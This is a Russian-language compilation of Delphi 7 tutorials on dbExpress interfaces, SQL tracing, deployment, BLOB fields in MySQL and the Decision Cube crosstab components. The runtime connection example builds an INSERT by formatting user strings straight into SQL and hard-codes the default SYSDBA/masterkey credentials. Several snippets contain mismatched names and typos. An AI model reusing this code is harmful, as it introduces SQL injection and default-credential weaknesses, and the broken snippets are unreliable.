который выполняет запрос, не требующий подготовки (не имеющий параметров). Он также возвращает в параметре cursor готовый интерфейс курсора, если запрос выполнен успешно. Текст запроса определяется параметром SQL.

И метод

function getNextCursor(var Cursor: ISQLCursor): SQLResult; stdcall;

определяет в параметре Cursor курсор следующего набора данных, если выполнялась хранимая процедура, которая возвращает несколько наборов данных.

Интерфейс iSQLCommand используется компонентом TCustomSQLDataSet и недоступен потомкам.


ISQLCursor

Интерфейс ISQLCursor обладает совокупностью методов, которые помогут получить информацию о полях курсора, а также значения этих полей. Все эти методы имеют одинаковое представление. Для получения нужной информации необходимо задать порядковый номер поля в структуре курсора.

Метод

function next: SQLResult; stdcall;

обновляет курсор, занося в него информацию из следующей строки набора данных.

Интерфейс ISQLCursor используется компонентом TCustomSQLDataSet и недоступен потомкам.


Отладка приложений с технологией dbExpress

Наряду с обычными методами отладки исходного кода, в dbExpress существует возможность контроля запросов, проходящих на сервер через соединение. Для этого используется компонент TSQLMonitor.

Через свойство

property SQLConnection: TSQLConnection;

компонент связывается с отлаживаемым соединением. Затем компонент включается установкой Active = True.

Теперь во время выполнения приложения сразу после открытия соединения свойство

property TraceList: TStrings;

будет заполняться информацией обо всех проходящих командах. Содержимое этого списка можно сохранить в файле при помощи метода

procedure SaveToFile(AFileName: string);

Эту же информацию можно автоматически добавлять в текстовый файл, определяемый свойством

property FileName: string;

но только тогда, когда свойство

property AutoSave: Boolean;

будет иметь значение True. Свойство

property MaxTraceCount: Integer;

определяет максимальное число контролируемых команд, а также управляет процессом контроля. При значении -1 ограничения снимаются, а при значении 0 контроль останавливается. Текущее число проверенных команд содержится в свойстве

property TraceCount: Integer;

Перед записью команды в список вызывается метод-обработчик

TTraceEvent = procedure(Sender: TObject; CBInfo: pSQLTRACEDesc; var LogTrace: Boolean) of object;

property OnTrace: TTraceEvent;

а сразу после записи в список вызывается

TTraceLogEvent = procedure (Sender: TObject; CBInfo: pSQLTRACEDesc) of object;

property OnLogTrace: TTraceLogEvent;

Таким образом, разработчик получает компактный и симпатичный компонент, позволяющий без усилий получать информацию о прохождении команд в соединении.

Если же компонент TSQLMonitor не подходит, можно воспользоваться методом

procedure SetTraceCallbackEvent(Event: TSQLCallbackEvent; IClientlnfo: Integer);

компонента TSQLConnection. Параметр процедурного типа Event определяет функцию, которая будет вызываться при выполнении каждой команды. Параметр iclientinfo должен содержать любое число.

Он позволяет разработчику самостоятельно определить функцию типа

TSQLCallbackEvent:

TRACECat = TypedEnum;

TSQLCallbackEvent = function(CallType: TRACECat; CBInfo: Pointer): CBRType; stdcall;

Эта функция будет вызываться каждый раз при прохождении команды. Текст команды будет передаваться в буфер CBInfo. Разработчику необходимо лишь выполнить запланированные действия с буфером внутри функции.

Рассмотрим в качестве примера следующий исходный код.

function GetTracelnfо(CallType: TRACECat; CBInfo: Pointer): CBRType;stdcall;
begin
  if Assigned(Forml.TraceList) then Forml.TraceList.Add(pChar(CBinfo));
end;

procedure TForml.MyConnectionBeforeConnect(Sender: TObject);
begin
  TraceList := TStringList.Create;
end;

procedure TForml.MyConnectionAfterDisconnect(Sender: TObject);
begin
  if Assigned(TraceList) then
  begin
    TraceList.SaveToFile('с:\Temp\TraceInfo.txt');
    TraceList.Free;
  end;
end;

procedure TForml.StartBtnClick(Sender: TObject);
begin
  MyConnection.SetTraceCallbackEvent(GetTracelnfo, 8);
  MyConnection.Open;
  {...}
  MyConnection.Close;
end;

Перед открытием соединения в методе-обработчике BeforeConnection создается объект типа TStringList. После закрытия соединения этот объект сохраняется в файле и уничтожается.

Перед открытием соединения (метод-обработчик нажатия кнопки Start) при помощи метода SetTraceCallbackEvent с соединением связывается функция GetTracelnfo.

Таким образом, по мере прохождения команд информация о них будет накапливаться в списке. После закрытия соединения список сохраняется в текстовом файле.

Примечание

В своей работе компонент TSQLMonitor также использует вызовы метода SetTraceCallbackEvent. Поэтому одновременно применять компонент и собственные функции нельзя.


Распространение приложений с технологией dbExpress

Готовое приложение, использующее технологию dbExpress, можно поставлять заказчикам двумя способами.

Вместе с приложением поставляется динамическая библиотека для выбранного сервера. Она находится в папке \Delphi7\Bin.

Дополнительно, если в приложении используется компонент TSimpleDataSet, необходимо включить в поставку динамическую библиотеку Midas.dll.

Приложение компилируется вместе со следующими DCU-файлами: dbExpInt.dcu, dbExpOra.dcu, dbExpDb2.dcu, dbExpMy.dcu (в зависимости от выбранного сервера). Если в приложении используется компонент TSimpieDataSet, следует добавить файлы Crtl.dcu и MidasLib.dcu. В результате необходимо поставлять только исполняемый файл приложения.

Если дополнительная настройка соединений не требуется, файл dbxconnections.ini не нужен.


Создание DBExpress соединения в Runtime

{
  The normal way for Delphi and Kylix is just to check dbExpress,
  put a TSQLConnection on a form then double-click the TSQLConnection to display
  the Connection Editor and set parameter values (database path, connection name etc.)
  to indicate the settings.

  But in our example, all goes by runtime (path and login) with dbExpress we don't need
  an alias or the BDE either.
}

procedure TVCLScanner.PostUser(const Email, FirstName, LastName: WideString);
var
  Connection: TSQLConnection;
  DataSet: TSQLDataSet;
begin
  Connection := TSQLConnection.Create(nil);
  with Connection do
  begin
    ConnectionName := 'VCLScanner';
    DriverName := 'INTERBASE';
    LibraryName := 'dbexpint.dll';
    VendorLib := 'GDS32.DLL';
    GetDriverFunc := 'getSQLDriverINTERBASE';
    Params.Add('User_Name=SYSDBA');
    Params.Add('Password=masterkey');
    Params.Add('Database=milo2:D:\frank\webservices\umlbank.gdb');
    LoginPrompt := False;
    Open;
  end;
  DataSet := TSQLDataSet.Create(nil);
  with DataSet do
  begin
    SQLConnection := Connection;
    CommandText := Format('INSERT INTO kings VALUES("%s","%s","%s")',
      [Email, FirstN, LastN]);
    try
      ExecSQL;
    except
    end;
  end;
  Connection.Close;
  DataSet.Free;
  Connection.Free;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Особенности использования BLOB полей в dbExpress на примере MySQL

Использовать новые компоненты dbExpress удобно. Однако прилагательное «новые» приносит не только радость… Решение возникающих проблем бывает затягивается на долгие часы и дни. На помощь Internet увы надеяться не приходится, т.к. информации по dbExpress там ни так много. Одна из этих проблем – работа с BLOB полями. Использовать нативный SQL для работы с BLOB не всегда возможно, поэтому нужно применять другие, альтернативные способы.

Для работы с BLOB полями в Delphi имеется несколько классов:

· TBlobStream;
· TClientBlobStream;
· TBlobField;
· TGraphicField;
· TMemoField;

Также сюда можно отнести функцию TCustomClientDataSet.CreateBlobStream, но она реализована посредством класса TClientBlobStream. Классы TGraphicField и TMemoField являются производными от TBlobField. TBlobStream не подходит для работы с dbExpress, а применяется только при манипулировании данным через BDE.

Таким образом для работы с BLOB-полями через dbExpress остаются два ключевых класса: TBlobField и TClientBlobStream. Следовательно возможно два, принципиально различных, варианта доступа к BLOB-полям: через потоки и через свойства объекта. Как указано в справочной системе при работе с BLOB-полями вообще и dbExpress в частности достаточно удобными оказываются переменные типа String.

Действительно, максимальный размер данных хранимых в переменных данного типа составляет 2 Гб, что равняется максимальному размеру BLOB-поля в MySQL (3.23.47). Строки достаточно удобны для работы с потоками, а также существует достаточно много функций для работы с ними. Проблем при работе с BLOB-полями также существует две: чтение данных и их запись. Рассмотрим каждый из возможных вариантов.

Проблема №1. Чтение данных из BLOB-поля

Для работы с BLOB-полями необходимо присвоить свойству TCustomClientDataSet.FetchOnDemand значение True, а также необходимо внимательно изучить свойство Options параметр poFetchBlobsOnDemand. Данные настройки нужны для того, чтобы получать данные из BLOB-поля в клиентское приложение. Загрузить данные можно используя метод FetchBlobs.

Использование потоков

{описание типов переменных}
qrProba: TSQLClientDataSet; {поле BLOBF – является BLOB-полем}
Image: TImage;
Stream: TStream;
Memo: TMemo;
{--------------------------------------}
begin
  {делаем нужную запись активной, например, методом Locate.}
  Stream := qrProba.CreateBlobStream(qrProba.FieldByName('BlobF'), bmRead);
  try
    Image.Picture.Bitmap.LoadFromStream(Stream); {если это картинка}
    {Memo.Lines.LoadFromStream(Stream); - если это текст}
  finally
    Stream.Free;
  end;
end;

Использование свойства TDataSet.FieldValues

{описание типов переменных}
qrProba: TSQLClientDataSet; {поле BLOBF – является BLOB-полем}
Image: TImage;
Stream: TStream;
Memo: TMemo;
{----------------------------------}
begin
  {делаем нужную запись активной, например, методом Locate.}
  Memo.Lines.Text := qrProba['BLOBF'];
end;

Использование свойства TBlobField.Value

{описание типов переменных}
Memo: TMemo;
BLOBField: TBlobField;
{----------------------------------}
begin
  {делаем нужную запись активной, например, методом Locate.}
  Memo.Lines.Text := BlobField.Value; { можно так}
  Memo.Lines.Text := BlobField.AsString; { а можно и так}
  Memo.Lines.Text := BlobField.AsVariant;   { это третий способ}
end;

Проблема №2. Запись данных в BLOB-поле.

При записи данных в BLOB-поле необходимо учитывать, что для внесения изменений одного метода Post недостаточно. Для пересылки данных в таблицу после метода Post необходимо вызывать метод TCustomClientDataSet.ApplyUpdates. Вместе с данным методом полезно использовать свойство TCustomClientDataSet.ChangeCount, которое содержит количество изменений внесенных пользователем. В справочной системе Delphi содержится пример как совместно использовать это свойство и метод ApplyUpdates.

Использование потоков

Перед созданием потока необходимо обязательно вызывать метод FetchBlobs для загрузки данных из BLOB-поля, иначе возникает ошибка. При работе с полем используя поток, необходимо следовать правилу:

Одна запись – один поток.

Если необходимо обработать новую запись, то поток необходимо создавать заново. Естественно нужно не забывать своевременно уничтожать созданные потоки.

{ описание типов переменных}
qrProba: TSQLClientDataSet; {поле BLOBF – является BLOB-полем}
Image: TImage;
Stream: TClientBlobStream;
Memo: TMemo;
{--------------------------------------}
begin
  {делаем нужную запись активной, например, методом Locate.}
  qrProba.Edit;
  qrProba.FetchBlobs;
  Stream := TClientBlobStream.Create(TBlobField(qrProba.FieldByName('BlobF')),
    bmReadWrite);
  Stream.Position := 0;
  Stream.Clear;
  Image.Picture.Bitmap.SaveToStream(Stream);
  qrProba.Post;
  qrProba.ApplyUpdates(0);
  Stream.Free;
end;

По непонятным причинам данный код не работает. Точнее данные в Stream передаются, но в базу не записываются. При этом никаких ошибок не выдается (может это bug, а может что-то в данном коде не учтено). В связи с этим, если необходимо использование потоков, следует создать промежуточный поток, затем загрузить в него данные, а потом эти данные перебросить в строковую переменную, которую в дальнейшем занести в базу. Этот способ не является самым оптимальным, но работает безотказно.

BLOBField: TBlobField;
Stream1: TMemoryStream;
d: Char;
i: Integer;
s: string;
{------------------}
begin
  Stream1 := TMemoryStream.Create;
  Stream.Clear;
  Image.Picture.Bitmap.SaveToStream(Stream1);
  Stream1.Position := 0;
  for i := 1 to Stream1.Size do
  begin
    Stream1.Read(d, 1);
    s := s + d;
  end;
  BlobField.DataSet.Edit;
  BlobField.AsString := s;
  BlobField.DataSet.Post;
  TSQLClientDataSet(BlobField.DataSet).ApplyUpdates(0);
  Stream1.Free;
end;

Использование свойства TDataSet.FieldValues

{описание типов переменных}
qrProba: TSQLClientDataSet; {поле BLOBF – является BLOB-полем}
Image: TImage;
Stream: TStream;
Memo: TMemo;
{----------------------------------}
begin
  {делаем нужную запись активной, например, методом Locate.}
  qrProba.Edit;
  qrProba['BLOBF'] := Memo.Lines.Text;
  qrProba.Post;
  qrProba.ApplyUpdates(0);
end;

Использование свойства TBlobField.Value

{описание типов переменных}
Memo: TMemo;
BLOBField: TBlobField;
{----------------------------------}
begin
  {делаем нужную запись активной, например, методом Locate.}
  BlobDield.DataSet.Edit;
  BlobField.Value := Memo.Lines.Text;
  BlobField.DataSet.Post;
  TSQLClientDataSet(BlobField.DataSet).ApplyUpdates(0);
end;

Вместо заключения

«И зачем все это!?», – спросит внимательный читатель, – «Ведь в начале статьи написано, что данные BLOB-поля неплохо представляются в виде String. Почему просто не записать SQL запрос UPDATE mytable SET blobf='s' WHERE id=1, где s – строковая переменная, которая может содержать, какие угодно данные?». Действительно, в определенных ситуациях такое решение пригодно, но предположим, что в данной переменной содержится символ { ? } , тогда сервер посчитает ее концом присваемого значения и возникнет ошибка. При использовании вышеописанных способов такого не происходит. Конечно, для исключения подобных ситуаций можно проводить предварительную обработку переменной для замены «запрещенных» символов на другие, но это дополнительная работа. В любом случае, главное: «ВОЗМОЖНОСТЬ ВЫБОРА. Выбора решения поставленной задачи».

Автор: Андрей Пащенко

Взято с http://delphiworld.narod.ru


Многомерное представление данных (статья)

Многомерное представление данных

Помимо стандартных компонентов отображения данных в VCL Delphi имеются дополнительные компоненты, которые позволяют представлять данные в виде кросстаба. При этом заставить работать кросстаб с двумя и более полями почти так же просто, как и обычный компонент TDBGrid. Эти компоненты расположены на странице Decision Cube Палитры компонентов.

Кросстабом называется такое табличное представление данных, которое имеет переменную структуру по горизонтали и вертикали. Причем обозначения столбцов по вертикали и строк по горизонтали соответствуют значениям полей набора данных. В ячейках кросстаба содержатся не данные, а суммарные значения для двух полей, которые пересекаются в этой ячейке.

Понятие кросстаба

Обычная таблица данных имеет строго заданное число столбцов, причем каждый столбец всегда предназначен для представления данных из одного поля. Для кросстаба число и назначение столбцов зависит от значений какого-либо поля. Число строк в кросстабе не равно числу строк в таблице БД, а также зависит от значений какого-либо поля. В ячейках кросстаба всегда располагается суммирующая информация по значениям полей горизонтали и вертикали .

Создать подобную двумерную структуру отображения данных при помощи обычных компонентов со страницы Data Controls Палитры компонентов очень непросто и хлопотно.

Пример кросстаба

В общем случае горизонтальную и вертикальную структуры кросстаба могут составлять несколько полей одновременно, которые сгруппированы относительно более общих полей.

Для создания наборов данных, которые можно представить в виде кросстаба, используются запросы SQL с применением группирующего оператора GROUP BY и агрегатных функций. Если обратиться к топологическим аналогиям, то набор данных такого запроса представляет собой многомерный гиперкуб, каждая сторона которого соответствует одному полю набора данных.

Для дальнейшего изложения необходимо ввести еще одно понятие. Совокупность строк или колонок, имеющих отношение к одному полю набора данных, будем называть размерностью. Размерность представляет собой виртуальную плоскость, которая рассекает многомерный куб данных параллельно какой-либо стороне этого куба. Компоненты многомерного представления данных как раз предназначены для того, чтобы визуализировать это n-мерное сечение.

Переходя от пространственных моделей к наборам данных, можно сказать, что размерность представляет собой совокупность значений какого-либо поля в кросстабе относительно других полей.

Взаимосвязь компонентов многомерного представления данных

При создании в приложении формы для многомерного представления данных следует помнить, что при этом обязательно должны решаться следующие задачи:

· должен быть создан группирующий и суммирующий запрос SQL, обеспечивающий открытие набора данных для кросстаба;
· перед отображением данных необходимо настроить параметры размерностей кросстаба;
· непосредственный показ данных в кросстабе;
· работающий кросстаб должен эффективно управляться на уровне размерностей.
Для этого в форме приложения требуется разместить как минимум пять компонентов со страницы Decision Cube Палитры компонентов.

Для создания запроса SQL можно использовать компонент TDecisionQuery или обычный компонент TQuery.

Запрос должен быть связан с компонентом TDecisionCube, который осуществляет подготовку набора данных запроса к многомерному показу.

Для соединения многомерного набора данных с компонентом отображения данных используется компонент TDecisionSource — полный функциональный аналог TDataSource. Этот компонент, в свою очередь, должен связываться и с набором данных, и с инструментом многомерного представления данных.

Непосредственный показ многомерного набора данных проводится при помощи компонентов TDecisionGrid и TDecisionGraph. Они должны поддерживать соединение с компонентом TDecisionSource.

Наконец, управление многомерным представлением данных реализует компонент TDecisionPivot, он также должен быть связан с компонентом TDecisionSource.

Допустим, что на форме расположены следующие компоненты:

· TDecisionQuery по имени DecisionQuery1;
· TDecisionCube по имени DecisionCubel;
· TDecisionSource по имени DecisionSourcel;
· TDecisionGrid по имени DecisionGrid1;
· TDecisionPivot по имени DecisionPivotl.
Тогда для того, чтобы связать все эти компоненты в единый работающий механизм многомерного представления данных, нужно установить значения для их важнейших свойств.

Как связать компоненты многомерного представления данных

TBecisionCube
DataSet=DecisionQuery1 Определяет компонент доступа к данным, который создает набор данных

TDecisionSource
DecisionCube=DecisionCubel Указывает на компонент формирования многомерного набора данных

TDecisionGrid
DecisionSource=DecisionSourcel Ссылается на компонент TDecisionSource

TDecisionPivot
DecisionSource= DecisionSourcel Ссылается на компонент TDecisionSource

Если задать текст запроса SQL и открыть набор данных, то вся цепочка заработает, причем ее поведение ничем не отличается от поведения во время выполнения приложения.

Теперь, когда мы узнали, как объединить компоненты многомерного представления данных в единую систему, настало время более подробно изучить возможности каждого компонента.

Подготовка набора данных

Компоненты многомерного представления данных работают со специально созданным и подготовленным набором данных. Эта работа выполняется специальным компонентом доступа к данным — TDecisionQuery. Его непосредственным предком является компонент TQuery.

Набор данных формируется при помощи запроса, который основан на стандартном синтаксисе SQL 92. Для обеспечения работы многомерного представления данных запрос должен удовлетворять ряду требований.

1. В тексте запроса должны присутствовать только те поля, которые разработчик хочет показать в компонентах многомерного представления данных.

2. Поля запроса должны быть сгруппированы при помощи оператора GROUP BY.

3. Запрос должен содержать агрегатные функции, которые определяют вид

информации, отображаемой в ячейках кросстаба.

Компонент TDecisionQuery должен только обеспечить выполнение запроса и создание набора данных, он не имеет никаких дополнительных свойств или методов. Поэтому для создания набора данных можно использовать и обычный компонент TQuery. Преимущество компонента TDecisionQuery состоит в том, что он имеет специализированный редактор для создания текста запроса (рис. 30.2). Он вызывается командой Decision Query Editor из всплывающего меню компонента или двойным щелчком на компоненте. Элементы управления страницы Dimensions/Summaries позволяют создавать текст запроса, манипулируя именами полей таблиц. Псевдоним базы данных выбирается в комбинированном списке Database. После этого в списке Table задается нужная таблица. Если в запросе требуется использовать несколько таблиц, то для их выбора можно воспользоваться утилитой SQL Builder, которая вызывается щелчком на одноименной кнопке.

Специализированный редактор компонента TDecisionQuery

Из списка доступных полей при помощи кнопок Add требуемые поля можно перенести в список полей — размерностей Dimensions и список суммирующих полей Summaries. Поля из этих списков используются при создании запроса.

Запрос формируется автоматически при работе с описанными элементами управления. Текст запроса доступен для просмотра и редактирования на странице SQL Query.

Подготовка набора данных к многомерному представлению осуществляется компонентом TDecisionCube. Его основная задача — создание размерностей для многомерной структуры данных на основе каждого поля набора данных. Для каждой размерности в компоненте можно задать ряд параметров, которые определяют ее поведение и внешний вид.

Компонент TDecisionCube формирует размерности при открытии набора данных, причем созданное многомерное представление данных полностью работоспособно уже во время разработки. Для этого достаточно присвоить свойству Active Компонентов TDecisionQuery или TQuery значение True. После этого любой визуальный компонент многомерного представления начинает работать так же, как и во время выполнения.

Компонент TDecisionCube также позволяет управлять использованием памяти многомерного представления данных. Дело в том, что при добавлении к многомерному представлению новой размерности объем занимаемой памяти возрастает в арифметической прогрессии. Поэтому возможность ограничения размеров используемой памяти особенно актуальна для больших наборов данных.

Все основные настройки компонента выполняются при помощи специализированного редактора свойства DecisionMap

Специализированный редактор свойства DecisionMap компонента TDecisionCube

Для настроек размерностей используется страница Dimension Settings этого редактора. В расположенном слева списке Available Fields содержатся все поля набора данных. В элементах управления справа приведены параметры размерности для выбранного поля.

В однострочном редакторе Display Name задается название поля, которое будет присутствовать в визуальных компонентах многомерного просмотра.

Неактивный список выбора Туре показывает, является ли поле основой для размерности или суммы.

Список выбора Active Type определяет, когда данные поля появляются в визуальных компонентах. Его элементы обозначают следующее:

Active — данные поля видны сразу после открытия формы и набора данных во время выполнения или сразу после открытия набора данных во время разработки;
AS Needed — данные поля становятся видны после выполнения пользователем во время выполнения или разработчиком во время разработки действий по отображению данных;
inactive — данные поля не видны.
Однострочный редактор Format содержит строку форматирования для данных поля.

Комбинированный список Grouping необходим для того, чтобы определить, какие значения будут показаны. Варианты Year, Quarter, Month возможны только для полей с календарным типом данных.

Однострочный редактор Initial Value задает начальное значение для поля.

Страница Memory Control используется для управления расходом памяти для нужд компонента. Однострочные редакторы Dimensions, Summaries и Cells в ряду Maximum позволяют задать максимальное число размерностей, сумм и ячеек, соответственно.

Специализированный редактор свойства DecisionMap компонента TDecisionCube

Аналогичные значения в ряду Current показывают текущее число этих структур.

Аналогичные значения в ряду Active+Needed показывают общее возможное число размерностей, сумм и ячеек.

Значения в ряду Active показывают число видимых размерностей сумм и ячеек.

Кнопка Get Cell Counts выполняет запрос, который возвращает число ячеек в кросстабе.

Группа радиокнопок Designer Data Options задает режим показа данных во время разработки:

Display Dimension Names — отображаются только названия размерностей;
Display Names and Values — отображаются названия размерностей и значения;
Display Names, Values, and Totals — отображаются названия, значения и суммы размерностей;
Run Time Display Only — визуализация данных осуществляется только во время выполнения.
Подготовленный к использованию для многомерного отображения набор данных необходимо связать с визуальными компонентами. Это делается при помощи компонента TDecisionSource. Через один такой компонент с набором данных можно связать несколько визуальных компонентов (см. табл. 30.1).

Кроме этого, компонент TDecisionSource позволяет разработчику установить общие для всех связанных с ним визуальных компонентов многомерного представления данных настройки отображения данных.

Компонент TDecisionQuery

Компонент доступа к данным TDecisionQuery предназначен для создания набора данных, который был бы пригоден для многомерного представления. Для создания набора данных используется запрос SQL. Требования к запросу приведены выше.

Этот компонент является прямым наследником компонента TQuery и не имеет собственных свойств и методов. Для создания запросов можно воспользоваться специализированным редактором, который автоматизирует этот процесс.

Компонент TDecisionCube

Компонент TDecisionCube осуществляет преобразование набора данных, который содержится в компоненте TDecisionQuery, к виду, доступному для отображения визуальными компонентами многомерного представления данных (табл. 30.2). Обычную таблицу набора данных компонент преобразует в многомерный кросстаб. Число размерностей создаваемого кросстаба зависит от числа полей данных набора данных. Значения в ячейках кросстаба зависят от типа агрегатной функции в запросе SQL.

property Active: Boolean; Разрешает или запрещает преобразование набора данных в кросстаб

property BinData: Boolean; Значение True означает, что хотя бы одна размерность находится в свернутом состоянии (данные не отображаются)

property Capacity: Integer; Определяет число байтов, используемых для хранения многомерного массива

property CurrentSuramary: Integer; Содержит индекс текущей суммы кросстаба

property DataSet: TDataSet; Ссылка на экземпляр набора данных, который отображается в кросстабе

type TCubeDesignState = (dsNoData, dsMetaData, dsDimensionData, dsAHData);
property DesignState: TCubeDesignState; Задает режим отображения данных в кросстабе:
dsNoData — во время разработки данные не видны;
dsMetaData — видны названия размерностей;
dsDimensionData — видны названия размерностей и значения, суммы не видны;
dsAHData — видны все данные

property DimensionCount: Integer;  Возвращает число размерностей

property DimensionMap: TCubeDims; Индексированный список ссылок на объекты параметров размерностей

property DimensionMapCount: Integer; Общее число полей набора данных, включая поля размерностей и сумм

property MaxCells: Integer; Задает максимальное число ячеек кросстаба

property MaxDimensions: Integer;

Задает максимальное число размерностей

property MaxSummaries: Integer; Задает максимальное число сумм

property ShowProgressDialog: Boolean; При значении True при подготовке кросстаба отображается индикатор

property SummaryCount: Integer; Возвращает число активных сумм кросстаба

function GetDetailSQL (ValueArray : TSmalllntArray; SelectList: string; bActive: Boolean) : string;  Возвращает текст запроса SQL, который может быть использован для создания набора данных, включающего данные из кросстаба без сумм

function GetSQL(ValueArray: TSrralllntArray; bActive: Boolean): string;
Возвращает текст запроса SQL, который может быть использован для создания набора данных, включающего данные из кросстаба без сумм

procedure ShowCubeDialog;
Вызывает специализированный редактор компонента

procedure Refresh (DimensionMap : TCubeDims; bForce: Boolean); Обновляет список объектов параметров размерностей

type TCubeRefreshEvent = procedure (DataCube: TCustomDataStore; DimMap: TCubeDims) of object;

property OnRefresh: TCubeRefreshEvent; property AfterClose: TCubeNotifyEvent; Вызывается сразу после закрытия компонента (Active := False)

property AfterOpen: TCubeNotifyEvent;  Вызывается сразу после открытия компонента (Active := False)

property BeforeClose: TCubeNotifyEvent ;Вызывается перед закрытием компонента (Active := False)

property BeforeOpen: TCubeNotifyEvent;  Вызывается перед открытием компонента (Active := False)

TErrorAction = (eaFail, eaContinue) ;
TCapacityErrorEvent = procedure (var EAction: TErrorAction) of object;
property OnLowCapacity: TCapacityErrorEvent ;
Вызывается после того, как занимаемый кросстабом объем памяти превысит заданный предел

При помощи методов GetDetailsQL и GetSQL можно получить тексты запросов, которые возвращают набор данных, соответствующий кросстабу с заданным параметрами состояниями. Массив vaiueArray содержит условия для полей размерностей. Первой размерности соответствует первый элемент массива, второй размерности — второй элемент и т. д. Если значение элемента меньше нуля, то в результат запроса попадают все значения поля размерности. Значение элемента, равное или больше нуля, определяет индекс значения поля размерности. Параметр selectList содержит разделенный запятыми список дополнительных полей, которые нужно включить в запрос. Параметр bActive накладывает дополнительное ограничение на размерности. При значении True в результат запроса автоматически (без использования параметра selectList) попадают только активные размерности.

Ключевым свойством компонента является свойство DecisionMap, которое позволяет установить параметры размерностей и максимальный размер используемой памяти. Для этих целей применяется специализированный редактор (см. рис. 30.4).

Это свойство представляет собой экземпляр класса TCubeDims, который инкапсулирует индексированный список экземпляров объектов TCubeDim, каждый из которых содержит информацию о параметрах одной размерности. Основные свойства этого класса:

type TActiveFlags = (diActive, diAsNeeded, dilnactive);
property ActiveFlag: TActiveFlags;
Определяет режим отображения данных размерности

property BaseName: string;
Содержит имя поля размерности в таблице базы данных

property BinFormat: string;
Определяет способ форматирования диапазона значений размерности

type TBinType = (binNone, binYear, binQuarter, binMonth, binSet, binCustom) ;
property BinType: TBinType;
Определяет способ группирования данных в размерности

type TDimFlags = (dimDimension, dimSum, dimCount, dimAverage, dimMin, dimMax, dimGenericAgg, dimUnknown) ;
property DimensionType: TDimFlags ;
Определяет тип размерности

property FieldName: String; Содержит имя поля в наборе данных

property FieldType: TFieldType; Определяет тип поля

property Format: String; Задает форматирование данных размерности

property Loaded: Boolean; Значение True говорит о том, что данный элемент загружен в многомерный набор данных

property StartDate: TDate;Определяет начальный элемент для группировки по дате

property StartValue: String;Определяет начальный элемент : для группировки по значению

property ValueCount: Integer;Возвращает число уникальных элементов в размерности

Компонент TDecisionSource

Компонент TDecisionSource предназначен для связывания визуальных компонентов многомерного представления с компонентом TDecisionCube (табл. 30.4). Кроме того, за счет возможности подключения к этому компоненту нескольких визуальных компонентов одновременно, при изменении состояния одного визуального компонента осуществляется синхронизация многомерного представления во всех остальных компонентах.

От набора данных в визуальные компоненты передаются данные, обратно транслируются команды пользователя по управлению многомерным представлением данных.

Основные свойства компонента TDecisionSource

type TDecisionControlType= (xtCheck, xtRadio, xtRadioEx) ;
property ControlT ype: TDecisionControlType;
Определяет способ управления отдельной размерностью в компоненте TDecisionGrid

property CurrentSum: Integer;
Содержит индекс текущей суммы в компоненте TDecisionGrid

property DecisionCube: TDecisionCube;
Связывает данный компонент с компонентом TDecisionCube. Содержит ссылку на экземпляр компонента TDecisionCube

property Ready: Boolean;
Значение True означает, что данный компонент связан с активным компонентом TDecisionCube

property SparseCols: Boolean;
При значении True из компонента TDecisionGrid удаляются пустые колонки

property SparseRows: Boolean;
При значении True из компонента TDecisionGrid удаляются пустые строки

Компонент имеет средства для управления состоянием многомерного представления в визуальных компонентах. Для этого используется свойство ControlType. Рассмотрим его возможные значения:

xtcheck — щелчок на кнопках размерности в компонентах TDecisionGrid и TDecisionPivot приводит к открытию или закрытию размерности;
xtRadio — щелчок на кнопках размерности в компонентах TDecisionGrid и TDecisionPivot приводит к открытию или закрытию данной размерности и закрытию всех остальных в этом направлении;
xtRadioEx — щелчок на кнопках размерности в компонентах TDecisionGrid и TDecisionPivot приводит к открытию или закрытию данной размерности и закрытию или открытию всех остальных размерностей в этом направлении.

Отображение данных

При работе с кросстабом пользователь имеет дело с двумя визуальными компонентами многомерного представления данных. Это компонент TDecisionGrid, который представляет данные в табличном виде, и компонент TDecisionGraph, который представляет данные в виде графика.

С компонентом TDecisionCube они связаны при помощи компонента TDecisionSource.

Данные в визуальных компонентах появляются после открытия набора данных в соответствующем компоненте TDecisionQuery. Причем эти компоненты полностью работоспособны уже во время разработки приложения.

Компонент TDecisionGrid

Компонент TDecisionGrid предназначен для многомерного представления данных в табличном виде. Параметры отображаемого набора данных (какие размерности будут видны при открытии, как группировать данные, как управлять размерностями) настраиваются при помощи других компонентов многомерного представления. В компоненте TDecisionGrid можно настроить только свойства самой сетки.

Для управления графиком во время выполнения можно использовать компонент TDecisionPivot.

Компонент TDecisionGrid является предком класса TCustomGrid и поэтому обладает всеми базовыми свойствами и методами, присущими сетке.

Для доступа к значению каждой ячейки используется свойство cells. Адресация ячеек осуществляется с левой верхней ячейки, которая имеет индексы [0,0].

Свойство Dimensions является экземпляром объекта TDisplayDims, который инкапсулирует индексированный список указателей на экземпляры объектов TDispiayDim. Каждый такой объект содержит важнейшие визуальные свойства размерностей. При щелчке на кнопке в однострочном редакторе свойства в Инспекторе объектов разворачивается список всех таких объектов.

Компонент TDecisionGraph

Компонент TDecisionGraph создает график на основе многомерного представления набора данных. Конкретный вид графика (назначение горизонтальной и вертикальной осей) зависит от настроек компонентов TDecisionCube и TDecisionPivot. По умолчанию к оси абсцисс привязывается первая вертикальная размерность, к оси ординат — первая сумма. Первая горизонтальная размерность отображается в легенде графика.

Одним из предков компонента TDecisionGraph является класс TChart, от которого унаследованы все многочисленные свойства и методы для настройки графика.

Для подключения к графику набора данных используется свойство

property DecisionSource: TDecisionSource;

которое ссылается на экземпляр компонента источника данных.

Сразу после подключения автоматически строится график с осями, заданными по умолчанию.

Для управления графиком во время выполнения можно использовать компонент TDecisionPivot.

Управление данными

Несомненное преимущество многомерного представления данных в том, что пользователь может легко изменить взаимное положение размерностей одной стороны между собой и переносить размерности с горизонтали на вертикаль и обратно. Для того чтобы сделать размерность видимой или невидимой, пользователю достаточно щелкнуть на кнопке.

Взаимное положение и расположение размерностей по сторонам кросстаба никак не связано с местом полей в запросе компонента TDecisionQuery.

Все операции по управлению многомерным представлением сосредоточены в одном компоненте — TDecisionPivot (см. рис. 30.2). В некоторой степени это аналог компонента TDBNavigator, только TDecisionPivot управляет не записями набора данных, а размерностями многомерного представления данных.

Этот компонент подключается к общей цепочке компонентов многомерного представления данных через компонент TDecisionSource. Поэтому любые действия с компонентом TDecisionPivot немедленно отражаются во всех визуальных компонентах, которые также подключены к этому экземпляру TDecisionSource.

Компонент TDecisionPivot

Компонент TDecisionPivot предоставляет пользователю средства управления размерностями многомерного представления данных. В стандартном состоянии компонент представляет собой панель, разделенную на три части (табл. 30.6). Каждая часть имеет собственный набор кнопок.

